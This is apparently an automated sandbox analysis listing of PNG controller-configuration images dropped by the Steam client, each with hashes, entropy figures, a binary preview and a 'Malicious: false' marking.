Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4081
Entropy (8bit):	7.656870421061991
Encrypted:	false
SSDEEP:
MD5:	BD86E0A067226D324C71F48059A48B02
SHA1:	9D369115CB5D6E8A8F4C3B0390CCB88777429D63
SHA-256:	40ED973ADD37EE7C26BC1D4129EC0C96BC0ED31FB6DD7873AD2C75FB5D91D2E3
SHA-512:	7146DFA55A75650255F44C2450882556DCD06B2E4B4AF352CCB86C3FB468D470FA4B68374F0056EF6B2BB20F165FBE338E5AC570A524521420FC3CF5AF1C0863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_dpad_focused.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4174
Entropy (8bit):	7.685861700008201
Encrypted:	false
SSDEEP:
MD5:	0C71D51B20E48829D64F716ADF289387
SHA1:	98357F16FD6144E1D53F6929005B55D303B84A71
SHA-256:	8E7344BB4825BF2C84FCDBAA21D1F647D2A16C32DF5789F0ABE709E0BFA974E4
SHA-512:	59C1D1AD5D8DC00E1E8645B1CB23B1D567F3FAB825B202226F3D899BA1C54EAA5E8ABEFA02E26CE97E294D13C72111CD05B3F4751FEE554CDF6D716F9D092903
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_pad_complex.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3972
Entropy (8bit):	7.6607578179301905
Encrypted:	false
SSDEEP:
MD5:	FC3AE550EA310345B4AFC1B91CFA7FCF
SHA1:	2A9EE7155A9D002C0ABA23B6226BC999D8E0B7B5
SHA-256:	370D4F73A6FAABE248C5704D74B24A27CC2228BA5B1518BEAB6578C1DCAF5481
SHA-512:	0E2EA93931C99620B112035F2131EDBED9B9799F172C79DCBEFC18017C43CDBBFD2236E09150FEE160AA789ADEE78C1DAFC99182B7C4D919BEE156A2E4231820
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_pad_complex_focused.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3963
Entropy (8bit):	7.656899258838492
Encrypted:	false
SSDEEP:
MD5:	0E00903F7F0AE993CF13669B08EFBBEE
SHA1:	D98A87DE4B063234F123D9628BAE197765AE8691
SHA-256:	268F4188A103153D5F1F9C11EEF8A20460BA7F0E31601A2FF851CA47EAD45112
SHA-512:	24EA8B8297A5520C3F99AA8BE2B838C7FCCE52D39567916FBC25258DE642BBA4AA2A3C71500515632E6E91BD083456CE7B7DBBC3A20BB243E3C97E0744B3D93D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_stick.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3808
Entropy (8bit):	7.592974344008582
Encrypted:	false
SSDEEP:
MD5:	2314116079B1D2153EF7B230FC54815D
SHA1:	03D36FF1B51A91940E4D0DDB326A88143AD42CAA
SHA-256:	289EC8BE10835F3AA31A40BE0EEBF17A6AB1980D9EC97A5FB17183C1ADE4DECD
SHA-512:	34A303260960326DFB77E99EE728ACBBB830F4AFF471187DEE6B802EEA99A82A22741B3E23762DABDF5F7E47F9F3BC81857A79A410E387C2DE4A441A497F203B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_config_mode_stick_focused.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 420 x 231, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3762
Entropy (8bit):	7.561926682731467
Encrypted:	false
SSDEEP:
MD5:	F5C974FAB9071DF7CF96E7450051EDE2
SHA1:	C02F75DA65FCC5B3A37051489AEAC63948A0B31F
SHA-256:	76A6F0CB37757CDBE7C3634AA0806092FE22907F5C55B2E5C159FCABD5BF4CB3
SHA-512:	0B998C612BB959C98D438106A696B8949AD03D02E9343F9C46CC23C71116E34B5FAF8E25AB9D1EA051C37552CCC39C5E24F74123456B1D621C6E123D3C4F28E7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............Q."C....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_macro.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	696
Entropy (8bit):	7.437241561982383
Encrypted:	false
SSDEEP:
MD5:	655803CE9AC13C4204B2C3CDE2FC35A7
SHA1:	E21A0CE29ED25C658F82AB4A0127EF56A972177F
SHA-256:	701F23AFEF594A53AE1D750CD5DA621B30C8ED4A31D410E3E82FDF741C2D32A9
SHA-512:	1F3132852DFA33ECFDC3C9A921DB59D254E24FEE20ECEFE62178DCE0CAABFA44728A0EF3095711BEBC75A91EC4A002A3E3BE45FE41F53AB216FF6052453D1ED5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(.........^.\.....bKGD..............pHYs.........B(.x....tIME..............EIDATX..OH.q..?...ndN#.-..d... d.D.^.C....A..Z...nID$.u.K..... ...$F..A...Ngkn.vy'.uk.`.xN.......<.;......@?...C...... .<7.......L..._......I......5..R..k...a.............p....`...._..d...3.Ri....].....S`.(.X.....NLL.}>_-.H...n..zA....5..-v.p.I.R.-..1??/.4...$}4M..(M.Z.&$)...8..M....p.&#)"I.x...1.O6.m.....O......p..(..N;Y`..r.6..d...l...[.-..`K.%...Zn.......e..o...a..I3...p...... $E%U....$....KHJ...b=q.V.).N.O&..&...NK.Iz...w..pi.Z0;;{>......m.../;;;..+.vs.G.........9.........3<...X,.(.......{zz.^...p8.h...V.X,.g2.O....KKK#.Q.&..j.z\|.....,......x.\..........0..A....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_macro_1finger.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4473
Entropy (8bit):	7.929580769574162
Encrypted:	false
SSDEEP:
MD5:	A70B37354124B8F4B399DCFBE1AF9B91
SHA1:	362F6684AA404624CBB2ED90AAA0FC432142B7A8
SHA-256:	CB2255DFE60A4189A9B6EF5D1031737102A6A1F82BCCD59D03DBAB322FDF0ED5
SHA-512:	4CDD6792C59320AD9131841DF4C7B37225B6F382341393466401579352EF8564D9A96941BF72D22A02CE467CBC3ED3902BE2D5C8FB709EE54AC53EDAAD90E706
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(.........^.\.....pHYs.........B(.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_macro_2finger.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 40 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4514
Entropy (8bit):	7.92071053730956
Encrypted:	false
SSDEEP:
MD5:	68E261C5BEDB11C8F249382EEB3B9D65
SHA1:	8E58BC2A44F03EA377507F2528E279FB34AD7421
SHA-256:	6534AF3D8F2ACF0E1DD2A3A997213BA9BA8516DC4F14967510793EE83759F447
SHA-512:	C51D32D267298C6E3AE33186A0183B37406F1D8800F87CC8A1CEC3794E375D570511BF93316C5088CC97B362EC3AB6F16E17918A665205C2245A82E115223FC2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...(.........^.\.....pHYs.........B(.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_nintendo_layout.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 433 x 248, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	123263
Entropy (8bit):	7.984930555448776
Encrypted:	false
SSDEEP:
MD5:	68F54AB10A3A9293A03C76C273DF4A09
SHA1:	1E46E3ED79E9F1EBA5A33807A50155EB4FE59CA0
SHA-256:	8CB470EDD38FE41AE5823AC71A96911D2EA13EB90DEFC146FB05DB8E102FB948
SHA-512:	646260CAF003E4CDAEFE340AAD239A83E35A7C8305578DBA31C34F833B07B8CDE926EA4E41FE0835040483F0228ED83AB5A312437BCB170A515B3D07B9B488F9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............O.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_small_config.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 400 x 271, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21393
Entropy (8bit):	7.971674362130279
Encrypted:	false
SSDEEP:
MD5:	E2A76619365D31B39EB11811D737E249
SHA1:	7A5DEA42B9E76BC969747C37A004687AA56A49A0
SHA-256:	65F7F8F62A73602270B4D04B054A9A3CC4059EF940993B943D5203981152BED9
SHA-512:	A02BE65E02F8D0B1F2192382B291465D5C31B33AFDCD2525F6278C22FFCC47E9E7801CC7291A90F4D2D14388C10EB6409F55BFFD210CB0DDD8EE9B43886416B1
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............[Qbh....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\controller_standard_layout.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 433 x 248, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	123097
Entropy (8bit):	7.983908751657671
Encrypted:	false
SSDEEP:
MD5:	DF2272977D16BCD47014BD575E03B9D5
SHA1:	0B0B1BD349CA8D216314BC10104AE5BA3C37B769
SHA-256:	D0B5D7BC4BDB46E3B6E9E3E9C0D4671ED3CD667D311A2F222040A4435E6EAA45
SHA-512:	88274A628F88A48311BFDDF0EECECD3DFC16ABED864626D5FDA944505CDDEB62D36422145E32093A0C78BA0922F9BE38731B6F0E607C3F2508ADED82427F1110
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............O.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_a.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 119, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2475
Entropy (8bit):	7.376692596078491
Encrypted:	false
SSDEEP:
MD5:	820CFEE301DA57FD323D872DCB5E6674
SHA1:	AAD7432AEC3DC347482CFAD98651DFEB2AFC138A
SHA-256:	20819A1411C9F3636FA8D86D4B3467901356A54049C95682E47FB1351DF7A1F2
SHA-512:	011301293C75BE86CD535D30F181D949441F750266D6525AD250BEF8940DCB6180E117393E6404F9C79B1C7FCC8CEA752CD84EF3D7066AB337D68B2B1CADADD6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...w.....o.......PLTE.........................................................................!.."..#..$..$..'..(..(..)..)....+..,..-.....,..-..0../..0..2..3..4..5..5..6..7..8..9..:..:.T...............(..@..A.T...7..<.T...I..J..P.T.........:. S.T.....T..T...!.2...".#Z.T..T..&b.T..'d.T...,..1..1.T..T..l.T..0}.1...=.T..-v..D.3..T..T..T..1..7..7..T..L..T..T..T..T..T.."X."X.:..T..%`.6..>..T..T..T..@..@..+o.T...x.T../z.E..T..0}.J..2..1..1..2..T..T..3..G..;..;..T..M..T..T..J..O..O..T..T..9..;..9..;..<..Q..T..T..?..B..T..N..T..T..R..B..C..T..E..S..T..T..T..H..T..I..T..J..T..T..T..K..P..T..T..T..T..T..N..R..T..N..T..N..P..P..O..P..P..T..T..R..T..T..0\|.0}.0~.2..4..5..5..6..7..8..9..9..<..<..>..>..?..@..A..C..D..D..D..E..G..H..J..J..K..N..P..Q..Q..R..S..T..T..W..Z..]..`..c....d.....tRNS..........................................................................................#$$%'+--356;<=?DEHIIJJMNPQUVWXaafhikrstu.............................................................

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_b.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 118, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	2135
Entropy (8bit):	7.38846951435156
Encrypted:	false
SSDEEP:
MD5:	0BDAAFFE9C8F05F25036059840377E8A
SHA1:	856AAB6D9A20521DF912047ACAA8C542C9D658EC
SHA-256:	5060C7F01BA1A71290D8440D07F30AEEEEB2CF165D6B817FED5B946766F0955C
SHA-512:	02ADC974F73051226D069748096A05B57A85586C835CA4D9F5FB7A7F4FF7A7402D4D5206A40BE6D59875B238843B378A0D1E04256FA8F1B1D560E4A98CA36B61
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...v........_...mPLTE........................."..)..0.T...............(..@..A.T...7..<.T...I..J..P.T.........:. S.T.....T..T...!.2...".#Z.T..T..&b.T..'d.T...,..1..1.T..T..*l.T..0}.1...=.T..-v..D.3..T..T..T..1..7..7..T..L..T..T..T..T..T.."X."X.:..T..%`.6..>..T..T..T..@..@..+o.T...x.T../z.E..T..0}.J..2..1..1..2..T..T..3..G..;..;..T..M..T..T..J..O..O..T..T..9..;..9..;..<..Q..T..T..?..B..T..N..T..T..R..B..C..T..E..S..T..T..T..H..T..I..T..J..T..T..T..K..P..T..T..T..T..T..N..R..T..N..T..N..P..P..O..P..P..T..T..R..T..T..0\|.0}.0~.2..4..5..5..6..7..8..9..9..<..<..>..>..?..@..A..C..D..D..D..E..G..H..J..J..K..N..P..Q..R..S..T..T..W..Z..]..`..c...u=.....tRNS..............................................#$$%'+--356;<=?DEHIIJJMNPQUVWXaafhikrstu................................................................................Ljc.....IDATX..._.E.....:k..KQK.2")1E.$!.BI.....U-....L.S..L%..Q......n...........O./.3.....3........%...j....K...k....1k.>5%...e.P.....[...J....'..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_active_back.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 110, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2266
Entropy (8bit):	7.855819189884297
Encrypted:	false
SSDEEP:
MD5:	1CA9D0419989FFA56031D1F7F461C92C
SHA1:	4D378A8333A83DDB23CAABD0A38A46904B0C52DC
SHA-256:	5FF682E03443EC45D08D3A79DB0421B63144BAD44BD593AAB2D617AE1005D1D6
SHA-512:	98B070D33B84C3EA999951C2871B93AECE0C3816F95A4A55635614824B011BBA21D0794AECB3DDA0C617BCF3726347DF0B0CDC15FF4B42DCE8183749DCB56620
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...n.....\|.......IDATx..yl.U...o......RJ.Y..Bimk/...Z....-.cB01Q1.P.. V..OH...." 4..D4.d!.!H.QH@<0&V..................w\|....~..&..S...@..Q..r.RT.....J.tA..%.)....S.Z.....#.U.....@.S.+.J0.U.......Ke.YaP.Pgt. ...L0..l.).!.uJ..~0\|e.i.P.i.p....\|.B.G L........ .=.B.S..7].{....3..F(T.(.aHV.G_.f..u.P...]...Y......i...^...5....6....8.5Q..7...J..0..K..\|....E... ..AeQ.^.,...tm.Z.5_.P.^..rQ.T.. +....D....8.W...MY%....%<a....c..B....x1..A.f......P....d.:Q.T.d..t..q^.G...;...r^.....S..sh,7.....3.....)l.....f......J.g(g.@f..i...ZaT(9T..#x.!.Y.O.R............?..Q..k..b...2..`..0....%j....0.f..O.G.i....G...FybZC.:...-.0..`............6a._va..6.yS[.V.=`H{..C$...U..&,...,.n...Zu..YFY...F.<..?...\|.M..r_......6).plD.../Tz.":....P.....K4T..*.>G.\|.,..]:Nu...?. .AmR......C.<.-..L.:..}o..AO..&.....p.....r4.y. .~....0.M.0..a.,O....a 